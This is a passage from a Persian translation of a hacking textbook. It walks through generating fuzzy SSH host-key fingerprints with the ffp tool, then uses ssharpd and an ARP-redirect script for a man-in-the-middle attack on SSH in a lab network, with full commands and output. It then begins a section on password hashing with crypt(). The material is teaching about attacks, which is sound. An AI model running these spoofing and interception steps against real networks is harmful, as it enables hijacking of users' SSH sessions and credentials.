‫ﮐﻨﺮاد رﯾﮏ )‪ (Konrad Rieck‬ﻧﻈﺮﯾﻪ ﺟﺎﻟﺒﯽ راﺟﻊ ﺑﻪ اﺛﺮات اﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن در ‪ SSH‬داﺷﺖ‪ .‬اﻏﻠﺐ ﯾﮏ ﮐـﺎرﺑﺮ ﻣﻤﮑـﻦ‬
‫اﺳﺖ از ﮐﻼﯾﻨﺖ ﻫﺎی ﻣﺨﺘﻠﻔﯽ ﺑﻪ ﺑﻪ ﯾﮏ ﺳﺮور ﻣﺘﺼﻞ ﺷﻮد‪ ،‬ﻟﺬا اﺛﺮاﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن ﻫﺮﺑﺎر ﻧﻤﺎﯾﺶ و ﺑﻪ ﻣﺤﻔﻮﻇﺎت ﮐﻼﯾﻨـﺖ‬
‫اﺿﺎﻓﻪ ﺧﻮاﻫﺪ ﺷﺪ‪ .‬ﯾﮏ ﮐﺎرﺑﺮ اﻣﻨﯿﺘﯽ ﻫﻮﺷﯿﺎر ﺑﻪ ﺣﻔﻆ ﮐﺮدن ﺳﺎﺧﺘﺎر ﮐﻠﯽ اﺛﺮاﻧﮕﺸﺖ ﻣﯿﺰﺑـﺎن ﮔـﺮاﯾﺶ ﻧـﺸﺎن ﻣـﯽ دﻫـﺪ‪.‬‬
‫‪162‬‬
.‫ اﻣﺎ ﺗﻐﯿﯿﺮات اﺳﺎﺳﯽ را ﻣﯽ ﺗﻮان ﺑﺎ اﻧﺪﮐﯽ ﺗﻼش ﻓﻬﻤﯿﺪ‬،‫اﮔﺮﭼﻪ ﻫﯿﭻ ﻓﺮدی ﻧﻤﯽ ﺗﻮاﻧﺪ ﺗﻤﺎم اﺛﺮاﻧﮕﺸﺖ را ﺑﻪ ﺧﺎﻃﺮ ﺑﺴﭙﺎرد‬
‫ اﻣﻨﯿﺖ آن ارﺗﺒﺎط را ﺑﻄﻮر‬،‫داﺷﺘﻦ ﺗﺼﻮر ﮐﻠﯽ از ﻇﺎﻫﺮ و ﺳﺎﺧﺘﺎر اﺛﺮاﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن ﺑﻪ ﻫﻨﮕﺎم اﺗﺼﺎل ﺑﺎ ﯾﮏ ﮐﻼﯾﻨﺖ ﺟﺪﯾﺪ‬
‫ در اﯾﻦ ﺻـﻮرت ﺗﻔـﺎوت ﻓـﺎﺣﺶ‬،‫ ﮔﺮﻓﺘﻪ ﺷﻮد‬MiM ‫ اﮔﺮ ﺗﺼﻤﯿﻢ ﺑﻪ اﺟﺮای ﯾﮏ ﺣﻤﻠﻪ‬.‫ﻗﺎﺑﻞ ﻣﻼﺣﻈﻪ ای اﻓﺰاﯾﺶ ﻣﯽ دﻫﺪ‬
.‫ﻣﻮﺟﻮد در اﺛﺮات اﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن ﻫﺎ را ﻣﻌﻤﻮﻻ ﺑﺎ ﭼﺸﻢ ﻫﻢ ﻣﯽ ﺗﻮان ﺗﺸﺨﯿﺺ داد‬
‫ ﺑﻌﻀﯽ از اﺛﺮات اﻧﮕﺸﺖ ﻣـﺸﺨﺺ ﻣﻤﮑـﻦ اﺳـﺖ ﺑـﺴﯿﺎر ﺷـﺒﯿﻪ ﺑـﻪ دﯾﮕـﺮ‬.‫ﺑﻪ ﻫﺮ ﺣﺎل ﭼﺸﻢ و ﻣﻐﺰ را ﻣﯽ ﺗﻮان ﻓﺮﯾﺐ داد‬
.‫ ﺷﺒﯿﻪ ﺑﻪ ﻧﻈﺮ آﯾﻨﺪ‬7 ‫ و‬1 ‫ ﻣﻤﮑﻦ اﺳﺖ ارﻗﺎﻣﯽ ﻣﺎﻧﻨﺪ‬،‫ ﺑﺴﺘﻪ ﺑﻪ ﺧﻂ ﻧﻤﺎﯾﺸﯽ ﻣﻮرد اﺳﺘﻔﺎده‬.‫اﺛﺮات اﻧﮕﺸﺖ ﺑﺎﺷﻨﺪ‬
‫ درﺣﺎﻟﯿﮑـﻪ ارﻗـﺎم‬،‫ﻣﻌﻤﻮﻻ ارﻗﺎم ﻣﺒﻨﺎی ﺷﺎﻧﺰده ﻣﻮﺟﻮد در اﺑﺘﺪا و اﻧﺘﻬﺎی اﺛﺮ اﻧﮕﺸﺖ ﺑﻪ وﺿﻮح ﺑﻪ ﺧﺎﻃﺮ ﺳﭙﺮده ﻣﯽ ﺷـﻮﻧﺪ‬
‫( ﺑـﺎ‬host key) ‫ ﺗﻮﻟﯿﺪ ﮐﻠﯿﺪﻫﺎی ﻣﯿﺰﺑـﺎن‬،104‫ ﻫﺪف ﭘﻨﻬﺎن در ﺗﮑﻨﯿﮏ اﺛﺮاﻧﮕﺸﺖ ﻓﺎزی‬.‫ﻣﯿﺎﻧﯽ اﻧﺪﮐﯽ ﻧﺎﻣﻌﻠﻮم ﺧﻮاﻫﻨﺪ ﺑﻮد‬
.‫اﺛﺮات اﻧﮕﺸﺘﯽ اﺳﺖ ﮐﻪ ﺑﻪ اﻧﺪازه ﮐﺎﻓﯽ ﺑﻪ اﺛﺮاﻧﮕﺸﺖ اﺻﻠﯽ ﺷﺒﯿﻪ ﺑﺎﺷﻨﺪ ﺗﺎ ﭼﺸﻢ اﻧﺴﺎن را ﻓﺮﯾﺐ دﻫﺪ‬
:‫ اﺑﺰاری را ﺟﻬﺖ درﯾﺎﻓﺖ ﮐﻠﯿﺪ ﻣﯿﺰﺑﺎن از ﺳﺮورﻫﺎ اراﺋﻪ ﻣﯽ دﻫﺪ‬،OpenSSH ‫ﺑﺴﺘﻪ‬
overdose$ ssh-keyscan -t rsa 192.168.0.189 > /tmp/189.hostkey
# 192.168.0.189 SSH-1.99-OpenSSH_3.5p1
overdose$ cat /tmp/189.hostkey
192.168.0.189 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAztDssBM41F7IPw+q/SXRjrqPp0ZazT1gfofdmBx9oVHBcHl
byrJDTdE
hzA2EAXU6YowxyhApWUptpbPru4JW7aLhtCsWKLSFYAkdVnaXTIbWDD8rAfKFLOdaaW0ODxALOR
OxoTYasx
MLWN4Ri0cdwpXZyyRqyYJP72Kqmdz1kjk=
overdose$ ssh-keygen -l -f /tmp/189.hostkey
1024 cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f 192.168.0.189
overdose$
‫ ﻣـﯽ ﺗـﻮان اﺛـﺮات اﻧﮕـﺸﺖ‬،‫ ﺷﻨﺎﺧﺘﻪ ﺷﺪه اﺳـﺖ‬192.168.0.189 ‫اﮐﻨﻮن ﮐﻪ ﻗﺎﻟﺐ اﺛﺮاﻧﮕﺸﺖِ ﮐﻠﯿﺪ ﻣﯿﺰﺑﺎن ﺑﺮای ﻣﺎﺷﯿﻦ‬
‫ ﺑﺮﻧﺎﻣﻪ ای ﺑـﺎ ﻫﻤـﯿﻦ ﻣﻨﻈـﻮر ﺗﻮﺳـﻂ آﻗـﺎی رﯾـﮏ ﺗﻮﺳـﻌﻪ ﯾﺎﻓﺘـﻪ ﮐـﻪ در‬.‫ﻓﺎزی را ﺗﻮﻟﯿﺪ ﮐﺮد ﮐﻪ ﺑﺴﯿﺎر ﺷﺒﯿﻪ ﺑﻪ ﻧﻈﺮ آﯾﻨﺪ‬
‫ ﺧﺮوﺟـﯽ زﯾـﺮ ﺗﻮﻟﯿـﺪ ﭼﻨـﺪ اﺛﺮاﻧﮕـﺸﺖ ﻓـﺎزی را ﺑـﺮای ﻣﺎﺷـﯿﻦ‬.‫ ﻗﺎﺑﻞ دﺳﺘﺮس اﺳﺖ‬http:/thc.org/thc-ffp/ ‫وﺑﺴﺎﯾﺖ‬
:‫ ﻧﺸﺎن ﻣﯽ دﻫﺪ‬192.168.0.189
overdose$ ffp
Usage: ffp [Options]
Options:
-f type Specify type of fingerprint to use [Default: md5]
Available: md5, sha1, ripemd
-t hash Target fingerprint in byte blocks.
Colon-separated: 01:23:45:67... or as string 01234567...
-k type Specify type of key to calculate [Default: rsa]
Available: rsa, dsa
-b bits Number of bits in the keys to calculate [Default: 1024]
-K mode Specify key calulation mode [Default: sloppy]
Available: sloppy, accurate
-m type Specify type of fuzzy map to use [Default: gauss]
Available: gauss, cosine
-v variation Variation to use for fuzzy map generation [Default: 7.3]
-y mean Mean value to use for fuzzy map generation [Default: 0.14]
-l size Size of list that contains best fingerprints [Default: 10]
-s filename Filename of the state file [Default: /var/tmp/ffp.state]
-e Extract SSH host key pairs from state file
-d directory Directory to store generated ssh keys to [Default: /tmp]
-p period Period to save state file and display state [Default: 60]
-V Display version information
No state file /var/tmp/ffp.state present, specify a target hash.
$ ffp -f md5 -k rsa -b 1024 -t
cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f

.‫ﻣﯽ ﺗﻮان از ﻟﻔﻆ "ﺗﯿﺮه" در اﯾﻦ ﮐﺎرﺑﺮد از اﯾﻦ ﮐﻠﻤﻪ اﺳﺘﻔﺎده ﮐﺮد‬104
163
---[Initializing]----------------------------------------------------------
----
Initializing Crunch Hash: Done
Initializing Fuzzy Map: Done
Initializing Private Key: Done
Initializing Hash List: Done
Initializing FFP State: Done

---[Fuzzy Map]-------------------------------------------------------------
----
Length: 32
Type: Inverse Gaussian Distribution
Sum: 15020328
Fuzzy Map: 10.83% | 9.64% : 8.52% | 7.47% : 6.49% | 5.58% : 4.74% |
3.96% :
3.25% | 2.62% : 2.05% | 1.55% : 1.12% | 0.76% : 0.47% |
0.24% :
0.09% | 0.01% : 0.00% | 0.06% : 0.19% | 0.38% : 0.65% |
0.99% :
1.39% | 1.87% : 2.41% | 3.03% : 3.71% | 4.46% : 5.29% |
6.18% :

---[Current Key]-----------------------------------------------------------
----
Key Algorithm: RSA (Rivest Shamir Adleman)
Key Bits / Size of n: 1024 Bits
Public key e: 0x10001
Public Key Bits / Size of e: 17 Bits
Phi(n) and e r.prime: Yes
Generation Mode: Sloppy

State File: /var/tmp/ffp.state


Running...

---[Current State]---------------------------------------------------------
----
Running: 0d 00h 00m 00s | Total: 0k hashs | Speed: nan hashs/s
---------------------------------------------------------------------------
----
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: ab:80:18:e2:4d:4b:1b:fa:e0:8c:1c:4d:c5:9c:bc:ef
Target Digest: cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f
Fuzzy Quality: 30.715288%

---[Current State]---------------------------------------------------------
----
Running: 0d 00h 01m 00s | Total: 5373k hashs | Speed: 89556
hashs/s
---------------------------------------------------------------------------
----
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: cc:8b:1d:d9:8b:0f:c8:5f:f0:d7:a8:8f:3b:10:fe:3f
Target Digest: cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f
Fuzzy Quality: 54.822385%

---[Current State]---------------------------------------------------------
----

164
Running: 0d 00h 02m 00s | Total: 10893k hashs | Speed: 90776
hashs/s
---------------------------------------------------------------------------
----
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: cc:8b:1d:d9:8b:0f:c8:5f:f0:d7:a8:8f:3b:10:fe:3f
Target Digest: cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f
Fuzzy Quality: 54.822385%

[output trimmed]

---[Current State]---------------------------------------------------------
----
Running: 7d 00h 57m 00s | Total: 52924141k hashs | Speed: 87015
hashs/s
---------------------------------------------------------------------------
----
Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
Hash Algorithm: Message Digest 5 (MD5)
Digest Size: 16 Bytes / 128 Bits
Message Digest: cc:80:12:55:eb:ef:9e:8e:53:bd:c7:9c:18:90:d5:0f
Target Digest: cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f
Fuzzy Quality: 69.035430%

---------------------------------------------------------------------------
----
Exiting and saving state file /var/tmp/ffp.state
‫ ﺑﺮﻧﺎﻣـﻪ از ﻟﺤـﺎظ ﺳـﺎﺧﺘﺎری اﻃﻼﻋـﺎت ﻣﺮﺑـﻮط ﺑـﻪ‬.‫ﻓﺮآﯾﻨﺪ ﺗﻮﻟﯿﺪ اﺛﺮاﻧﮕﺸﺖ ﻓﺎزی را ﻣﯽ ﺗﻮان ﺗﺎ زﻣﺎن ﻣﻄﻠـﻮب اراﺋـﻪ داد‬
105
‫ ﺗﻤﺎم اﻃﻼﻋﺎت وﺿـﻌﯿﺘﯽ‬.‫ﭼﻨﺪﺗﺎ از ﺑﻬﺘﺮﯾﻦ اﺛﺮات اﻧﮕﺸﺖ را ﻧﮕﻬﺪاری ﮐﺮده و در ﻓﻮاﺻﻞ ﻣﻌﯿﻦ آﻧﻬﺎ را ﻧﺸﺎن ﻣﯽ دﻫﺪ‬
‫ ﻣﺘﻮﻗﻒ ﮐﺮد و در زﻣﺎﻧﻬﺎی ﺑﻌـﺪی ﺑـﺎ‬Ctrl+C ‫ ﻟﺬا ﻣﯽ ﺗﻮان ﺑﺮﻧﺎﻣﻪ را ﺑﺎ‬،‫ ذﺧﯿﺮه ﻣﯽ ﺷﻮﻧﺪ‬/var/tmp/ffp.state ‫در ﻓﺎﯾﻞ‬
.(resume) ‫ ﻣﺠﺪدا ﮐﺎر را اداﻣﻪ داد‬،‫ ﺑﺪون ﻫﯿﭻ آرﮔﻮﻣﺎن‬ffp ‫اﺟﺮای ﺑﺮﻧﺎﻣﻪ‬
‫ را از‬106SSH ‫– ﻣﯽ ﺗـﻮان زوج ﻫـﺎی ﮐﻠﯿـﺪ ﻣﯿﺰﺑـﺎن ﺑـﺮای‬e ‫ﭘﺲ از ﮔﺬﺷﺘﻦ ﻣﺪﺗﯽ از اﺟﺮای ﺑﺮﻧﺎﻣﻪ ﺑﺎ اﺳﺘﻔﺎده از ﺳﻮﺋﯿﭻ‬
.‫ﻓﺎﯾﻞ وﺿﻌﯿﺖ اﺳﺘﺨﺮاج ﮐﺮد‬
overdose$ ffp -e -d /tmp
---[Restoring]-------------------------------------------------------------
----
Reading FFP State File: Done
Restoring environment: Done
Initializing Crunch Hash: Done
---------------------------------------------------------------------------
----
Saving SSH host key pairs: [00] [01] [02] [03] [04] [05] [06] [07] [08] [09]
overdose$ ls /tmp/ssh-rsa*
/tmp/ssh-rsa00 /tmp/ssh-rsa02.pub /tmp/ssh-rsa05 /tmp/ssh-
rsa07.pub
/tmp/ssh-rsa00.pub /tmp/ssh-rsa03 /tmp/ssh-rsa05.pub /tmp/ssh-rsa08
/tmp/ssh-rsa01 /tmp/ssh-rsa03.pub /tmp/ssh-rsa06 /tmp/ssh-
rsa08.pub
/tmp/ssh-rsa01.pub /tmp/ssh-rsa04 /tmp/ssh-rsa06.pub /tmp/ssh-rsa09
/tmp/ssh-rsa02 /tmp/ssh-rsa04.pub /tmp/ssh-rsa07 /tmp/ssh-
rsa09.pub
overdose$

105
State Information
106
SSH Host Key Pairs
165
‫ ﻣﯽ ﺗﻮان اﺛﺮات اﻧﮕـﺸﺖ ﻣﺮﺑـﻮط ﺑـﻪ آن زوج‬.‫در ﻣﺜﺎل ﻗﺒﻠﯽ ده زوج از ﮐﻠﯿﺪﻫﺎی ﻋﻤﻮﻣﯽ و ﻣﺤﺮﻣﺎﻧﻪ ﻣﯿﺰﺑﺎن ﺗﻮﻟﯿﺪ ﺷﺪﻧﺪ‬
:‫ در زﯾﺮ اﯾﻦ ﻣﻄﻠﺐ ﻧﺸﺎن داده ﺷﺪه اﺳﺖ‬.‫ﮐﻠﯿﺪﻫﺎ را ﺗﻮﻟﯿﺪ و ﺑﺎ اﺛﺮاﻧﮕﺸﺖ اﺻﻠﯽ ﻣﻘﺎﯾﺴﻪ ﮐﺮد‬
overdose$ ssh-keygen -l -f /tmp/189.hostkey
1024 cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f 192.168.0.132
overdose$ ls -1 /tmp/ssh-rsa??.pub | xargs -n 1 ssh-keygen -l -f
1024 cc:80:12:55:eb:ef:9e:8e:53:bd:c7:9c:18:90:d5:0f /tmp/ssh-rsa00.pub
1024 cc:80:18:7a:7c:ce:bd:47:00:9c:38:5d:8e:50:5d:0f /tmp/ssh-rsa01.pub
1024 ec:80:12:74:8b:a5:a3:ef:62:7c:29:9a:e8:10:57:0f /tmp/ssh-rsa02.pub
1024 cc:80:12:71:83:d3:aa:b4:f6:8c:d7:56:62:da:2e:0d /tmp/ssh-rsa03.pub
1024 cc:8c:10:d5:8f:79:52:65:8c:a2:e2:17:86:15:5e:0f /tmp/ssh-rsa04.pub
1024 cc:8b:12:7e:71:49:4e:08:db:c8:28:b7:5e:00:09:0f /tmp/ssh-rsa05.pub
1024 cc:80:12:54:8d:de:29:9d:b4:e7:5e:c8:40:40:7e:0c /tmp/ssh-rsa06.pub
1024 cc:80:12:70:83:a1:3a:ab:78:8d:38:97:7f:f5:d6:bf /tmp/ssh-rsa07.pub
1024 cc:80:92:76:83:8c:be:38:dc:f1:0e:45:ab:2e:53:0f /tmp/ssh-rsa08.pub
1024 cc:80:11:7d:88:a4:f7:f8:93:69:60:28:3b:1c:1e:5f /tmp/ssh-rsa09.pub
overdose$
ssh-rsa00.pub ،‫ در اﯾـﻦ ﻣـﻮرد‬.‫ ﻣﺸﺎﺑﻪ ﺗﺮﯾﻦ ﺟﻔﺖ را ﻣﯽ ﺗـﻮان ﺑـﺎ ﭼـﺸﻢ اﻧﺘﺨـﺎب ﮐـﺮد‬،‫از ده ﺟﻔﺖ ﮐﻠﯿﺪ ﺗﻮﻟﯿﺪ ﺷﺪه‬
،‫ ﻃﺮف ﻧﻈﺮ از اﯾﻨﮑﻪ ﮐﺪام ﺟﻔﺖ ﮐﻠﯿﺪ اﻧﺘﺨـﺎب ﺷـﺪه اﺳـﺖ‬.(‫ ﻧﺸﺎن داده ﺷﺪه اﺳﺖ‬bold ‫اﻧﺘﺨﺎب ﺷﺪه اﺳﺖ )ﺑﻪ ﺻﻮرت‬
‫ﺣﺪاﻗﻞ ﻣﯽ ﺗﻮان ﻣﻄﻤﺌﻦ ﺑﻮد ﮐﻪ ﺟﻔﺖ اﻧﺘﺨﺎب ﺷﺪه ﺑﯿﺸﺘﺮ ﺑﻪ اﺛﺮاﻧﮕﺸﺖ اﺻﻠﯽ ﺷﺒﯿﻪ اﺳﺖ ﺗﺎ ﯾﮏ ﺟﻔـﺖ ﺗﻮﻟﯿـﺪ ﺷـﺪه ﺑـﻪ‬
.‫ﺻﻮرت ﺗﺼﺎدﻓﯽ‬
‫ ﻫﻤـﺎن ﻃـﻮر‬،‫ ﭘﯽ رﯾﺰی ﮐﺮد‬SSH ‫ ﻣﻮﺛﺮﺗﺮ را روی‬MiM ‫ اﺳﺘﻔﺎده ﮐﺮد ﺗﺎ ﯾﮏ ﺣﻤﻠﻪ‬ssharpd ‫ﮐﻠﯿﺪ ﺟﺪﯾﺪ را ﻣﯽ ﺗﻮان ﺑﺎ‬
:‫ﮐﻪ در ﺧﺮوﺟﯽ زﯾﺮ ﻧﯿﺰ دﯾﺪه ﻣﯽ ﺷﻮد‬
On overdose @ 192.168.0.193
overdose# ./ssharpd -h /tmp/ssh-rsa00 -p 1337

Dude, Stealth speaking here. This is 7350ssharp, a smart


SSH1 & SSH2 MiM attack implementation. It's for demonstration
and educational purposes ONLY! Think before you type ... (<ENTER> or <Ctrl-
C>)

Disabling protocol version 1. Could not load host key


overdose#
overdose# ./arpredirect.pl 192.168.0.118 192.168.0.189
Pinging 192.168.0.118 and 192.168.0.189 to retrieve MAC addresses...
Retrieving MAC addresses from arp cache...
Retrieving your IP and MAC info from ifconfig...
[*] Gateway: 192.168.0.118 is at 00:C0:F0:79:3D:30
[*] Target: 192.168.0.189 is at 00:02:2D:04:93:E4
[*] You: 192.168.0.193 is at 00:00:AD:D1:C7:ED
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Normal connection without MiM attack
euclid$ ssh [email protected]
The authenticity of host '192.168.0.189 (192.168.0.189)' can't be
established.
RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.
Are you sure you want to continue connecting (yes/no)?
Connection during MiM attack
euclid$ ssh [email protected]
The authenticity of host '192.168.0.189 (192.168.0.189)' can't be
established.
RSA key fingerprint is cc:80:12:55:eb:ef:9e:8e:53:bd:c7:9c:18:90:d5:0f.
Are you sure you want to continue connecting (yes/no)?
‫آﯾﺎ ﻣﯽ ﺗﻮاﻧﯿﺪ ﺑﻼﻓﺎﺻﻠﻪ ﺗﻔﺎوت ﻫﺎی ﻣﻮﺟﻮد را ﺑﮕﻮﯾﯿﺪ؟ اﯾﻦ اﺛﺮات اﻧﮕﺸﺖ ﺑﻪ اﻧﺪازه ﮐـﺎﻓﯽ ﺷـﺒﯿﻪ ﻫـﺴﺘﻨﺪ ﺗـﺎ ﺑـﺴﯿﺎری از‬
.‫اﻓﺮاد را ﺟﻬﺖ ﭘﺬﯾﺮﻓﺘﻦ ارﺗﺒﺎط ﺟﺪﯾﺪ ﻓﺮﯾﺐ دﻫﻨﺪ‬

166
‫‪ .4,6‬ﮐﺮک ﮐﺮدن ﭘﺴﻮردﻫﺎ‬

‫ﭘﺴﻮردﻫﺎ در ﺣﺎﻟﺖ ﮐﻠﯽ ﺑﻪ ﺻﻮرت ﻣﺘﻦ واﺿﺢ )‪ (plaintext‬ذﺧﯿﺮه ﻧﻤـﯽ ﺷـﻮﻧﺪ‪ .‬ﻓـﺎﯾﻠﯽ ﮐـﻪ ﺣـﺎوی ﺗﻤـﺎم ﭘـﺴﻮردﻫﺎ ﺑـﻪ‬
‫ﺻﻮرت ﻣﺘﻦ واﺿﺢ ﺑﺎﺷﺪ‪ ،‬ﺣﺘﻤﺎ ﻣﻮرد ﻫﺪف ﻗﺮار ﻣﯽ ﮔﯿﺮد‪ ،‬ﻟـﺬا از ﯾـﮏ ﺗـﺎﺑﻊ ﯾـﮏ‪-‬ﻃﺮﻓـﻪ‪ 107‬ﻫـﺶ اﺳـﺘﻔﺎده ﻣـﯽ ﺷـﻮد‪.‬‬
‫ﻣﺸﻬﻮرﺗﺮﯾﻦ ﺗﺎﺑﻊ در در ﻣﯿﺎن اﯾﻦ ﺗﻮاﺑﻊ‪ crypt() ،‬ﻧﺎم دارد ﮐﻪ ﺑﺮ ﻣﺒﻨﺎی ‪ DES‬اﺳﺖ‪ .‬اﻟﮕـﻮرﯾﺘﻢ ﻫـﺎی ﻣﻌـﺮوف دﯾﮕـﺮی‬
‫ﺑﺮای ﻫﺶ ﮐﺮدن ﭘﺴﻮردﻫﺎ وﺟﻮد دارد ﮐﻪ ‪ MD5‬و ‪ Blowfish‬از ﺟﻤﻠﻪ آﻧﻬﺎ ﻫﺴﺘﻨﺪ‪.‬‬
‫ورودی ﻣﻮرد اﻧﺘﻈﺎر ﯾﮏ ﺗﺎﺑﻊ ﯾﮏ ﻃﺮﻓﻪ ﻫﺶ‪ ،‬ﯾﮏ رﻣﺰﻋﺒﻮر ﺑﻪ ﺻﻮرت ﻣﺘﻦ واﺿﺢ و ﯾﮏ ﻣﻘﺪار ‪ salt‬اﺳﺖ‪ .‬ﺧﺮوﺟﯽ اﯾﻦ‬
‫ﺗﺎﺑﻊ‪ ،‬ﯾﮏ ﻫﺶ اﺳﺖ ﮐﻪ ﻣﻘﺪار ورودی ‪ salt‬ﺑﻪ اﺑﺘﺪای آن اﺿﺎﻓﻪ ﺷﺪه اﺳﺖ‪ .‬اﯾﻦ ﻫﺶ از ﻟﺤﺎظ رﯾﺎﺿﯽ ﺑﺮﮔـﺸﺖ ﻧﺎﭘـﺬﯾﺮ‬
‫اﺳﺖ‪ ،‬ﯾﻌﻨﯽ ﺗﻌﯿﯿﻦ ﭘﺴﻮرد اﺻﻠﯽ ﺗﻨﻬﺎ ﺑﺎ اﺳﺘﻔﺎده از ﻫﺶ ﻏﯿﺮﻣﻤﮑﻦ اﺳﺖ‪ .‬ﭘﺮل ﺗﺎﺑﻊ درون ﺳـﺎﺧﺘﯽ ﺑـﻪ ﻧـﺎم )(‪ crypt‬دارد‬
‫ﮐﻪ اﺑﺰار ﻣﻔﯿﺪی ﺑﺮای ﻧﻤﺎﯾﺶ و ﺷﺮح ﻣﺜﺎﻟﻬﺎ اﺳﺖ‪.‬‬

‫‪File: hash.pl‬‬

‫‪#!/usr/bin/perl‬‬
‫;"‪$plaintext = "test"; $salt = "je‬‬
‫;)‪$hash = crypt($plaintext, $salt‬‬
‫;"‪print "crypt($plaintext, $salt) = $hash\n‬‬
‫ﺧﺮوﺟﯽ زﯾﺮ از اﺳﮑﺮﯾﭙﺖ ﭘﺮل ﺑﺎﻻ اﺳﺘﻔﺎده ﮐﺮده و ﺑﺎ اﺟﺮا در ﺳﻄﺢ ‪ ،command-line‬ﺑـﺎ اﺳـﺘﻔﺎده از ﻣﻘـﺎدﯾﺮ ﻣﺨﺘﻠـﻒ‬
‫‪ ،salt‬ﻣﻘﺎدﯾﺮ ﻣﻮﺟﻮد را ﺑﺎ ﺗﺎﺑﻊ )(‪ crypt‬ﻫﺶ ﻣﯽ ﮐﻨﺪ‪.‬‬
‫‪$ ./hash.pl‬‬
‫‪crypt(test, je) = jeHEAX1m66RV.‬‬
‫';"‪$ perl -e '$hash = crypt("test", "je"); print "$hash\n‬‬
‫‪jeHEAX1m66RV.‬‬
‫';"‪$ perl -e '$hash = crypt("test", "xy"); print "$hash\n‬‬
‫‪xyVSuHLjceD92‬‬
‫‪$‬‬
‫ﻣﻘﺪار ‪ salt‬ﺟﻬﺖ ﺗﺸﻮﯾﺶ ﻫﺮﭼﻪ ﺑﯿﺸﺘﺮ اﻟﮕﻮرﯾﺘﻢ ﺑﮑﺎر ﻣﯽ رود‪ .‬ﻟﺬا اﮔﺮ ﻣﻘﺎدﯾﺮ ‪ salt‬ﻣﺘﻔـﺎوﺗﯽ اﺳـﺘﻔﺎده ﺷـﻮﻧﺪ‪ ،‬ﭼﻨـﺪﯾﻦ‬
‫ﻣﻘﺪار ﻣﺨﺘﻠﻒ ﻫﺶ ﺑﺮای ﯾﮏ ﻣﺘﻦ واﺿﺢ ﯾﮑﺴﺎن ﺗﻮﻟﯿﺪ ﻣﯽ ﺷﻮﻧﺪ‪ .‬ﻣﻘﺪار ﻫـﺶ )ﮐـﻪ ﺷـﺎﻣﻞ ﻣﻘـﺪار ‪ salt‬اﺿـﺎﻓﻪ ﺷـﺪه ﺑـﻪ‬
‫اﺑﺘﺪای آن ﻧﯿﺰ اﺳﺖ( در ﻓﺎﯾﻞ ﭘﺴﻮرد ذﺧﯿﺮه ﻣﯽ ﺷﻮد‪ .‬ﺑﻪ اﯾﻦ ﺻﻮرت اﮔﺮ ﻓﺎﯾﻞ ﭘﺴﻮرد ﺗﻮﺳﻂ ﻧﻔـﻮذﮔﺮ ﺑـﻪ ﺳـﺮﻗﺖ رود‪،‬‬
‫ﻣﻘﺎدﯾﺮ ﻫﺶ ﺑﯽ ﻓﺎﯾﺪه ﺧﻮاﻫﻨﺪ ﺑﻮد‪.‬‬
‫ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﻧﯿﺎز ﺑﻪ اﻋﺘﺒﺎر ﺳﻨﺠﯽ ﯾﮏ ﮐﺎرﺑﺮ ﻗﺎﻧﻮﻧﯽ‪ 108‬ﺑﺎ اﺳﺘﻔﺎده از ﻫﺶِ ﭘﺴﻮرد ﺑﺎﺷﺪ‪ ،‬ﻫﺶ ﻣﺮﺑـﻮط ﺑـﻪ ﮐـﺎرﺑﺮ در ﻓﺎﯾـﻞ‬
‫ﭘﺴﻮرد ﺟﺴﺘﺠﻮ ﻣﯿﺸﻮد‪ .‬ﭘﯿﺎﻣﯽ ﺟﻬﺖ وارد ﮐﺮدن ﭘﺴﻮرد ﺑﺮای ﮐﺎرﺑﺮ ﻧﻤﺎﯾﺶ ﻣﯽ ﯾﺎﺑﺪ‪ ،‬ﻣﻘﺪار اﺻﻠﯽ ‪ salt‬از ﻓﺎﯾـﻞ ﭘـﺴﻮرد‬
‫اﺳﺘﺨﺮاج ﻣﯽ ﺷﻮد و ﻫﺮآﻧﭽﻪ ﮐﻪ ﮐﺎرﺑﺮ ﺗﺎﯾﭗ ﻣﯽ ﮐﻨﺪ ﺑﻪ ﻫﻤﺮاه ﻣﻘﺪار ‪ salt‬ﺑﻪ ﺗﺎﺑﻊ ﯾﮏ ﻃﺮﻓﻪ ﻫﺶ ارﺳﺎل ﻣﯽ ﮔﺮدد‪ .‬اﮔﺮ‬
‫ﻣﺘﻦ وارد ﺷﺪه در اﻋﻼن رﻣﺰﻋﺒﻮر ﺻﺤﯿﺢ ﺑﺎﺷﺪ‪ ،‬ﺧﺮوﺟﯽ ﺗﺎﺑﻊ ﯾﮏ ﻃﺮﻓﻪ ﻫﺶ )ﻣﻘﺪار ﻫﺶ ﺗﻮﻟﯿﺪ ﺷـﺪه( ﺑـﺎ ﻣﻘـﺪار ﻫـﺶ‬
